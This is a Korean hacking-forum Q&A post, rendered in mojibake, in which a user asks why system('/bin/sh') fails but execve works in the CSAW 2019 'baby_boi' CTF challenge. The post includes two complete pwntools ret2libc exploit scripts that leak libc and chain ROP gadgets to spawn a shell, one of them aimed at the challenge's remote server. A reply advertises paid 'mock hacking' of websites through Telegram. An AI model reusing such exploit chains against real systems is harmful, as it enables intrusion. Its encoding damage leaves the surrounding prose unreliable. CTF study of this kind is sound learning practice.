½Ã½ºÅÛ ÇØÅ·

 1574, 2/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   turttle2s
   system("/bin/sh") ¿Í execve("/bin/sh",0,0)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1978 [º¹»ç]


À̹ø CSAW 2019¿¡¼­ baby_boi ¹®Á¦¸¦ Ǫ´Âµ¥ Àú´Â system("/bin/sh")À¸·Î ½©À» ½ÇÇà½ÃÅ°·Á°í Çϴµ¥ °è¼Ó ¼¼±×¸ÕÆ® ÆúÆ® ¿À·ù°¡ ¶¹½À´Ï´Ù. core ÆÄÀÏ µð¹ö±ë Çغôµ¥ ¶óÀ̺귯¸® ¾È¿¡¼­ °è¼Ó Á¢±ÙÇÒ ¼ö ¾ø´Â ÁÖ¼Ò¶ó°í ³ª¿À³×¿ä. °á±¹ ¹®Á¦¸¦ Ç®Áö ¸øÇÏ°í ´ëȸ°¡ ³¡³­ ÈÄ Ç®À̸¦ º¸´Âµ¥ ´Ùµé system("/bin/sh")°¡ ¾Æ´Ï¶ó execve("/bin/sh",0,0)À¸·Î ret ÇÏ´õ±º¿ä.

´Ù¸¥ »ç¶÷µéÀÌ »ç¿ëÇÑ Àͽº Äڵ忡¼­ execve()¸¦ system()À¸·Î ¹Ù…f´Âµ¥ ¼¼±×¸ÕÆ® ÆúÆ®°¡ ¶ß°í...(´ç¿¬È÷ ÁÖ¼Òµµ ±¸Çؼ­ ¹Ù²ãÁá½À´Ï´Ù.)
execve()·Î ÇÏ¸é ¼º°øÇÏ°í... Ȥ½Ã ÀÌ µÎ ÇÔ¼öÀÇ Â÷ÀÌ°¡ ÀÖ³ª¿ä?



¾Æ·¡´Â Á¦°¡ »ç¿ëÇÑ Àͽº ÄÚµåÀÔ´Ï´Ù.

======== exp.py ==========
from pwn import *

p = process('./baby_boi')

printf_offset = 0x64e80
system_offset = 0x4f440
pop_rdi = 0x400793

data = p.recv()
data = data.split("\n")[1]
print 'first split = ', data

data = data.split(" ")[3]
print 'second split = ', data

log.info('\t  === GADGET ===')
printf_addr = int(data, 16)
libc_base = printf_addr - printf_offset
system_addr = libc_base + system_offset
binsh_addr = system_addr + 0x164a5a

log.info('libc_base = 0x%08x'%libc_base)
log.info('printf_addr = 0x%08x'%printf_addr)
log.info('system_addr = 0x%08x'%system_addr)
log.info('pop_rdi = 0x%08x'%pop_rdi)

payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

log.info('\t === EXPLOIT START ===')
p.sendline(payload)
p.interactive()
==========================


¾Æ·¡´Â ´Ù¸¥»ç¶÷ÀÇ Ç®ÀÌ ÄÚµåÀÔ´Ï´Ù.
Ãâó : https://github.com/KEERRO/ctf-writeups/tree/master/CSAW%20CTF'19%20QUALS/BABY%20BOI

========= solve.py ===========
from pwn import *
env = {"LD_PRELOAD":"./libc-2.27.so"}
#p = process("./baby_boi",env=env)
p = remote("pwn.chal.csaw.io",1005)

data = p.recv()
data = data.split("\n")[1]
data = data.split(" ")[3]
printf_libc = int(data,16)
base = printf_libc - 0x0000000000064e80
execve = base + 0x00000000000e4e30
binsh = execve + 0xcf06a
print "base: ",hex(base)
print "execve_libc: ",hex(execve)
print "binsh: ",hex(binsh)
pop_rdi = 0x0000000000400793
paylaod = ""
paylaod += "A"*40
paylaod += p64(0x0000000000400791)
paylaod += p64(0)
paylaod += p64(0)
paylaod += p64(pop_rdi)
paylaod += p64(binsh)
paylaod += p64(execve)
p.sendline(paylaod)
p.interactive()
==========================

  Hit : 2374     Date : 2019/09/16 04:56



    
turttle2s ¹ÙÀ̳ʸ®´Â ¾î¶»°Ô ¿Ã¸®³ª¿ä ?_? 2019/09/16  
ss4747 ¾È³çÇϼ¼¿ä!!

¸ðÀÇÇØÅ· °¡´ÉÀÚ ¸ðÁý ÁßÀÎ Çؿܾ÷üÀÔ´Ï´Ù

¾÷¹«ÀÇ ÁøÇà¹æ½ÄÀº ÇÁ¸®·£¼­ Çü½ÄÀ¸·Î ÀúÈñ°¡ Á¦°øÇص帰

»çÀÌÆ® ¸ðÀÇÇØÅ· ¼º°ø½Ã °Ç´ç À¸·Î Áö±ÞÇص帳´Ï´Ù

ÀÚ¼¼ÇѾȳ»»çÇ×¹× ±âŸ¹®ÀÇ´Â ÅÚ·¡±×·¥ ss4747 ¿©±â·Î ¿¬¶ôÁÖ½Ã¸é »ó¼¼ÇÏ°Ô ¾Ë·Áµå¸®°Ú½À´Ï´Ù
2019/10/04  
1554   [LOB Redhat] succubus -> nightmare[3]     turttle2s
09/26 1649
1553   read()·Î got leakÀÌ °¡´ÉÇÑ°¡¿ä?[1]     turttle2s
09/26 1650
1552   pwntools ¾²½Ã´Â ºÐµé ~[6]     turttle2s
09/17 1865
  system("/bin/sh") ¿Í execve("/bin/sh",0,0)[2]     turttle2s
09/16 2373
1550   ROP Áú¹®ÀÔ´Ï´Ù[2]     turttle2s
09/09 2104
1549   BOF¸¦ ÇÏ´Â ÀÌÀ¯°¡ ¹«¾ùÀΰ¡¿ä?[7]     turttle2s
09/03 2353
1548   rop ´ÙÀ½¿¡ ¹¹¸¦ °øºÎÇÏ´Â°Ô ÁÁÀ»±î¿ä?[1]     tloet
08/26 1990
1547   [ LOB ] skeleton -> golem[3]     turttle2s
08/21 1548
1546   Á¦°¡ ½Ã½ºÅÛ ÇØÅ·ÂÊÀ¸·Î °¡º¸·Á ÇÕ´Ï´Ù.[3]     gun7935
08/01 1976
1545   PLT GOT Áú¹®[3]     turttle2s
07/30 1490
1544   setreuidÇÔ¼ö¿Í setuidºñÆ® °ü°è[1]     park345601
07/26 1332
1543   lob remote bof[6]     park345601
07/25 1422
1542   pwntools ¸¦ ÀÌ¿ëÇÑ exploit ÄÚµå Áú¹®[3]     turttle2s
06/07 1497
1541   Á»ºñ ¹ÙÀÌ·¯½º ¹®ÀÇ °Ç[1]     kirr2
04/14 1819
1540     [re] Á»ºñ ¹ÙÀÌ·¯½º ¹®ÀÇ °Ç     ÇѽÂÀç
05/23 1380
1539   ¹é½Å¿ìȸÁú¹®µå¸³´Ï´Ù (¾Ç¿ë¸ñÀû¾Æ´Ï¿¡¿ë)[3]     kangyung0447
03/01 2017
1538   pythonÀ¸·Î ÀÎÀÚ¸¦ ³ÖÀ» ¶§[1]     turttle2s
02/23 1558
1537   GOT Overwrite[6]     turttle2s
01/31 1840
1536   RTL Áú¹® ÀÔ´Ï´Ù[4]     turttle2s
01/11 2731
1535   iptime a3004nd uart¸¦ ÅëÇÑ ½© Á¢±Ù ½Ãµµ Áú¹®µå¸³´Ï´Ù.[1]     cho6206
12/30 3969
[1] 2 [3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org